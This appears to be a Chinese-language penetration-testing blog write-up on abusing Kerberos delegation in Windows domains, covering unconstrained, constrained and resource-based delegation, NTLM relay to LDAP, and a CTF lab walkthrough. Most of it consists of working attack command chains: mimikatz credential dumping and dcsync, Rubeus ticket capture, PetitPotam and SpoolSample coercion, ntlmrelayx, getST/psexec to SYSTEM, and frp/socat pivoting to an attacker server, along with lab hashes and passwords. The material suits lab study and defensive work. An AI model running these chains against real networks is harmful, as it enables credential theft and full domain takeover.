Windows域渗透中对委派攻击的思考与实践
2025-06-04 14:05:09

约束委派与非约束委派

概述

非约束性委派 (Unconstrained Delegation):老板给了某位员工一把万能钥匙,可以打开公司的所有门。当用户/服务访问设置了非约束性委派的目标主机时, TGT会被目标主机的LSASS (系统安全服务) 进程缓存到内存中, 就相当于老板给员工钥匙的这个过程。

约束委派 (Constrained Delegation):老板给了某位员工一把钥匙,但是只能打开公司财务部的门

非约束性委派利用

有权修改计算机对象属性的人通过设置对象的userAccountControl标志位中的TRUSTED_FOR_DELEGATION位为true,就可以启用非约束性委派

若通过漏洞/配置不当获取形如GenericWrite写权限 (可以修改计算机对象的任何属性) , WriteProperty (被授权对某个特定属性的写权限), 可以尝试利用PowerShell命令设置非约束性委派, 配合打印机漏洞等实现横向移动

1
2
3
Set-ADAccountControl -Identity "test-PC$" -TrustedForDelegation $true  //Powershell设置非约束性委派
Get-ADComputer -Identity "test-PC$" -Properties TrustedForDelegation | Select-Object Name, TrustedForDelegation //查看是否设置成功
Set-ADAccountControl -Identity "test-PC$" -TrustedForDelegation $false //Powershell关闭非约束性委派

image-20250603162214641

非约束性委派 + 打印机漏洞 Print Spooler

Print Spooler服务Windows中默认开启

可以进行利用让域管的机器账号强制与我们拿下的非约束性委派的主机强行建立连接, 利用Rubeus工具监听LSASS进程从而捕获域管机器账户的TGT, 最后将票据注入内存, 实现提权, 结合mimikatz导出域内哈希进行横向移动

Rubeus监听来自域控的票据

1
Rubeus.exe monitor /interval:2 /filteruser:DC$ 

Print Spooler利用工具 : https://github.com/leechristensen/SpoolSample

1
SpoolSample.exe DC test-PC

Rubeus监听到DC$TGT票据, 导入票据

1
Rubeus.exe ptt /ticket:doIFGjCCBRagAwIBBaEDAgEWooIEIzCCBB9hggQbM......

将票据注入内存中, 使用mimikatz导出域内用户哈希, PTH进行域内横向

1
mimikatz.exe "log" "lsadump::dcsync /all /csv" "exit"

约束性委派利用

约束性委派中,kerberos引入了S4U2SelfS4U2Proxy两种核心拓展机制。

S4U2Self

当某个服务(如Web服务器)收到用户请求时,它需要确认用户的身份和权限。此时,服务可以通过S4U2SelfKDC(密钥分发中心)申请一个针对自身的服务票据,这个票据是“模拟用户身份”生成的。

S4U2Proxy

当服务需要代表用户访问其他后端服务(如数据库、文件服务器)时,S4U2Proxy允许服务使用用户的票据向KDC申请目标服务的访问权限。

配置了约束性委派的账户的userAccountControl属性会被设置为TRUSTED_TO_AUTH_FOR_DELEGATION,账户的msDS-AllowedToDelegateTo属性为允许委派的服务。

攻击步骤

(1) 攻击者拿到了配置了约束委派的服务账户/域内机器账户,并且已经利用mimikatz等工具导出了账户哈希、票据等信息。

(2) 通过S4U2Self && S4U2Proxy来获取获取ST

攻击者用服务账户/域内机器账户的权限,向KDC发起S4U2Self请求,模拟某个高权限用户(如域管)生成针对自身的服务票据,将S4U2Self生成的票据转发给目标服务(如域控的CIFS服务),可获取访问的ST

1
2
3
4
5
通俗解释:
假设你是一家公司的IT部门(对应服务账户WIN10-1$),老板(对应域管理员Administrator)让你帮忙申请一张门禁卡(Kerberos票据),这张卡可以打开财务部的门(CIFS/DC2016.redteam.lab服务)。
但你作为IT部门,必须去公司总部的门禁中心(KDC/域控制器)申请这张卡。申请时你需要告诉门禁中心:“老板让我申请这张卡,请验证他是否真的有权限开门。”
门禁中心会检查老板的权限,如果确实有权,就会给你一张写有老板名字的门禁卡(模拟用户身份的票据)。
拿到卡后,你可以用它去财务部开门(访问目标服务),仿佛你就是老板本人。

DC域控给test-PC主机设置了约束性委派,允许委派DCCIFS服务

image-20250604124847196

攻击者拿下了test-PC这台机器,目标是利用约束委派横向拿下DC域控

(1) 利用test-PC机器用户票据 + kekeo横向

先使用mimikatz导出票据,拿到机器用户票据

1
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

image-20250604125652827

kekeo申请ST

1
kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-0-60a10000-TEST-PC$@krbtgt-HACK-MY.COM.kirbi /user:Administrator@hack-my.com /service:cifs/DC.hack-my.com" "exit"

image-20250604130716639

利用mimikatz导入ST票据

1
mimikatz.exe "kerberos::ptt TGS_Administrator@hack-my.com@HACK-MY.COM_cifs~DC.hack-my.com@HACK-MY.COM.kirbi" "exit"

导入后可正常访问DCcifs服务

image-20250604130910457

(2) 利用test-PC机器用户Hash + getST + psexec拿下域控system权限

先导出test-PC机器用户NTLM Hash

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "log" "exit"
1
NTLM Hash : 4631044bac1ad6054011e1750eb0af84

getST申请ST

1
python getST.py -dc-ip 192.168.43.100 -spn CIFS/DC.hack-my.com -impersonate administrator hack-my.com/test-PC$ -hashes :4631044bac1ad6054011e1750eb0af84

image-20250604131538268

导入票据 + psexec利用,拿下域控system权限

1
2
set KRB5CCNAME=administrator@CIFS_DC.hack-my.com@HACK-MY.COM.ccache
python psexec.py -no-pass -k DC.hack-my.com -target-ip 192.168.43.100 -dc-ip 192.168.43.100

image-20250604131756308

基于资源的约束委派[RBCD]

RBCD概述

基于资源的约束委派 (Resource-Based Constrained Delegation)是Windows Server 2012引入的权限委派机制,其核心思想是将委派控制权交给资源自身。通俗解释:仓库管理员自主决定谁可以来提货

传统委派Service A可以代理用户访问Service B,需要域管将Service AmsDS-AllowedToDelegateTo属性指定为Service B

RBCDService B自主决定”谁可以代理用户访问我“,比如指定Service A可以代理用户访问我,只需要在Service B上将msDS-AllowedToActOnBehalfOfOtherIndentity属性指定为Service A即可。

image-20250601093904614

攻击利用概述

攻击者可以利用RBCD来伪造身份票据来访问特定服务。攻击者创建一个机器账户 - HackPC$,并将其SID写入Service BmsDS-AllowedToActOnBehalfOfOtherIndentity中,然后伪造成为域管来访问Service B

利用条件

拥有修改msDS-AllowedToActOnBehalfOfOtherIndentity的权限

(1) 将机器加入域的用户

(2) 拥有Account Operators组权限的账户 (可管理除域控外的机器)

(3) 对目标主机具备GenericAllWriteProperty等写权限的账户

(4) 该主机的机器账户

域用户本地提权

我们拿到了一个域内用户,但是发现该用户是普通用户,没有这台域内主机的administrator权限,可以利用RBCD进行本地提权。

思路:

1、利用可控域用户创建一个机器账户 (每个域用户默认可以创建10个机器账户)

2、修改目标主机的 msDS-AllowedToActOnBehalfOfOtherIndentity属性,使其指向新创建机器账户的SID

3、利用该机器账户的凭证为”跳板”,请求以administrator身份访问目标主机的票据,配合psexec实现本地提权。

首先使用Adfind.exe查询域内机器的mS-DS-CreatorSID,与当前用户的SID进行比较

1
AdFind.exe -b "DC=hack-my,DC=com" -f "objectClass=computer" cn ms-DS-CreatorSID

image-20250531133606395

可知TEST-PC这台机器是通过我们拿到的这个域用户hack-my\test加入域中的,那么当前域用户可以修改这台主机的msDS-AllowedToActOnBehalfOfOtherIndentity属性。

使用当前域用户新建一个机器账户

1
python addcomputer.py hack-my.com/test:"密码" -computer-name TEST$ -computer-pass 123456 -dc-host DC.hack-my.com -dc-ip 192.168.43.100

image-20250531134748299

image-20250531134844193

然后配置msDS-AllowedToActOnBehalfOfOtherIndentity属性,让TEST$机器账户获得了假扮任意用户访问TEST-PC$的能力,[*] TEST$ can already impersonate users on TEST-PC$ via S4U2Proxy

1
python rbcd.py hack-my.com/test:"密码" -dc-ip 192.168.43.100  -action write -delegate-to TEST-PC$ -delegate-from TEST$

image-20250531141212286

利用S4U协议伪造AdministratorST

1
python getST.py -dc-ip 192.168.43.100 -spn cifs/TEST-PC.hack-my.com -impersonate Administrator hack-my.com/test$:123456

image-20250531141411428

利用拿到的ST配合psexec提权至system

1
2
3
export KRB5CCNAME=Administrator@cifs_TEST-PC.hack-my.com@HACK-MY.COM.ccache   //linux/MacOS写法
set KRB5CCNAME=Administrator@cifs_TEST-PC.hack-my.com@HACK-MY.COM.ccache //Windows写法
python psexec.py -no-pass -k TEST-PC.hack-my.com -target-ip 192.168.43.42 -dc-ip 192.168.43.100

image-20250601092908416

域内服务账户提权

IISMSSQLNetwork Service等服务账户出网时使用的是本地的机器账户,访问域内资源时能够以机器账户的身份修改自身的委派属性,从而实现本地提权。

以设置了服务账户IISWIN2008-WEB为例,提权原理和上文的”域用户本地提权”差别不大

SharpAllowedToAct工具需要.NET环境,自行下载

1
SharpAllowedToAct.exe -m test2 -p "123456" -t WIN2008-WEB -a dc.hack-my.com -d hack-my.com

然后和上面一样的思路

1
python getST.py -dc-ip 192.168.43.100 -spn cifs/WIN2008-WEB.hack-my.com -impersonate Administrator hack-my.com/test2$:123456
1
set KRB5CCNAME=Administrator@cifs_TEST-PC.hack-my.com@HACK-MY.COM.ccache
1
python psexec.py -no-pass -k WIN2008-WEB.hack-my.com -target-ip 192.168.43.216 -dc-ip 192.168.43.100

image-20250601123903774

NTLM Relay to ldap + RBCD

(1) SMB

默认情况下, LDAP 的签名策略为协商签名 (是否签名由客户端决定), 当使用 SMB 协议发起 LDAP 请求时, 就会要求LDAP服务器对NTLM认证请求强制签名, 所以一般来说无法通过SMB协议进行 NTLM Relay to LDAP

但是 2019 年爆出了 CVE-2019-1040 漏洞, 它能够绕过 NTLM MIC 的防护机制, 修改NTLM请求中的某些标志位, 使得客户端对于 SMB 发起的LDAP请求不要求签名, 从而实现 NTLM Relay

结合强制认证 (例如 SpoolSample, PetitPotam) 配合RBCD可以实现横向移动

攻击流程

先通过PetitPotam,打印机漏洞触发DC/目标主机的NTLM认证请求,将认证流量中继到目标LDAP服务器(通常就是域控)

攻击者利用中继的凭据,在DC/目标主机上配置RBCD策略,将攻击者添加的机器账户添加到目标主机的msDS-AllowedToActOnBehalfOfOtherIndentity属性中,然后伪造用户访问提权即可拿下目标主机

复现环境

TEST-PCWindows7,已经拿下的域内主机,192.168.43.42

DCWindows Server 2012,域控,192.168.43.100

WIN2008-WEBWindows Server 2008,IIS服务器,192.168.43.216

Kali_linux:攻击机,192.168.43.78

目标:拿下TEST-PC后,利用NTLM Relay to ldap + RBCD横向拿下WIN2008-WEB这台主机

首先添加机器账户test

1
python addcomputer.py hack-my.com/test:"密码" -computer-name TEST$ -computer-pass 123456 -dc-host DC.hack-my.com -dc-ip 192.168.43.100

启动ntlmrelayx等待目标主机连接

1
python3 ntlmrelayx.py -t ldap://192.168.43.100 --remove-mic --delegate-access --escalate-user TEST$

image-20250601150653864

利用PetitPotam让目标机器发起对攻击机的SMB请求

1
python PetitPotam.py -d hack-my.com -u test -p "密码" 192.168.43.78 192.168.43.216

image-20250601154759136

image-20250601154823042

伪造管理员访问目标主机,配合psexec拿下WIN2008-WEBsystem权限

1
python getST.py -dc-ip 192.168.43.100 -spn cifs/WIN2008-WEB.hack-my.com -impersonate Administrator hack-my.com/test$:123456
1
2
export KRB5CCNAME=Administrator@cifs_WIN2008-WEB.hack-my.com@HACK-MY.COM.ccache
python psexec.py -k -no-pass WIN2008-WEB.hack-my.com -target-ip 192.168.43.216 -dc-ip 192.168.43.100

image-20250601160400252

(2) WebDAV

首先先了解WebDAV的概念,WebDAV是一种基于HTTP的通信协议

image-20250602092703350

对于HTTP(WebDAV)协议发起的 LDAP 请求是不要求强制签名的,因此可以绕过签名实现NTLM Relay

Windows使用WebClient服务实现WebDAVWebDAV通过\\evilhost@80\webdav\kagty1.txt这种 UNC 格式访问攻击者的 HTTP 服务器。

注意:

1、Windows Workstation默认安装 WebClient服务,但是需要手动启动,Windows Server则默认未安装WebClient

2、WebClient仅对本地内部网或收信任的站点列表中的目自动使用当前用户凭据进行NTLM认证,所以在复现/攻击前,需要利用已经获取的域用户权限,在域内为攻击机添加一条dns记录。

工具地址:https://github.com/dirkjanm/krbrelayx,使用方法参考文档

1
python3 dnstool.py -u hack-my.com\win2008 -p "密码" -r evil.hack-my.com -d 192.168.43.78 --action add ldap://192.168.43.100

攻击流程

(1) 拿下一名域用户

(2) 探测开启WebClient

(3) 在域内为攻击机添加DNS解析

(4) 强制WebClient对攻击机指定端口进行身份验证

(5) RBCD攻击

复现环境 (春秋云镜Spoofing)

攻击者公网服务器:Ubuntu101.42.13.105

入口机:Ubuntu39.99.154.66 | 172.22.11.76

**目标机器:**XIAORANG\XR-LCM3AE8B172.22.11.26,开启WebClient服务,不出网

**域控:**XIAORANG\XIAORANG-DC172.22.11.6

**已经拿下的域用户和域内机器:**Windows Server 2008yangmei : xrihGHgoNZQ

**目标:**利用拿下的域用户和WIN2008,横向拿下172.22.11.26这台机器

既然目标机器不出网,可以用frp+socat来实现。

将入口机172.22.11.76作为”跳板机”,让目标机器将流量转发至172.22.11.76:80,利用socat172.22.11.76:80的流量转发至公网服务器101.42.13.105:7000,公网服务器通过frp内网穿透将流量转发至kali linux80端口。

frps.toml

1
bindPort = 6000

frpc.toml

1
2
3
4
5
6
7
8
serverAddr = "101.42.13.105"
serverPort = 6000

[[proxies]]
name = "attack"
type = "tcp"
localPort = 80
remotePort = 7000

跳板机上传socat进行端口转发

1
socat TCP-LISTEN:80,fork TCP:101.42.13.105:7000

攻击机ntlmrelyx开启监听,设置通过NTLM中继来配置RBCD

1
proxychains4 python ntlmrelayx.py -t ldap://172.22.11.6 --escalate-user XR-DESKTOP\$ --delegate-access --no-dump

通过利用PetitPotam强制目标主机172.22.11.26认证到172.22.11.76 (出网的ubuntu服务器) -> 会被转发到攻击机80端口

image-20250602210622949

1
proxychains4 python PetitPotam.py -u yangmei -p "xrihGHgoNZQ" -d xiaorang.lab ubuntu@80/webdav 172.22.11.26

image-20250602211546827

成功配置RBCD

image-20250602211606974

1
proxychains4 python getST.py -dc-ip 172.22.11.6 -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator xiaorang.lab/XR-DESKTOP\$ -hashes :29a34bea4cdae24fdb6661b2071d9ffd

或者可以利用拿到的域用户新建一个机器账户,然后用明文密码拿目标主机的白银票据

1
proxychains4 python addcomputer.py xiaorang.lab/yangmei:"xrihGHgoNZQ" -computer-name TEST$ -computer-pass 123456 -dc-host XIAORANG-DC.xiaorang.lab -dc-ip 172.22.11.6
1
python getST.py -dc-ip 172.22.11.6 -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator xiaorang.lab/XR-DESKTOP\$:123456

image-20250602212944606

横向拿到目标主机system权限

1
2
export KRB5CCNAME=administrator@cifs_XR-LCM3AE8B.xiaorang.lab@XIAORANG.LAB.ccache
proxychains4 python psexec.py "XR-LCM3AE8B.xiaorang.lab" -target-ip 172.22.11.26 -dc-ip 172.22.11.6 -no-pass -k

image-20250602214113408

上一页
2025-06-04 14:05:09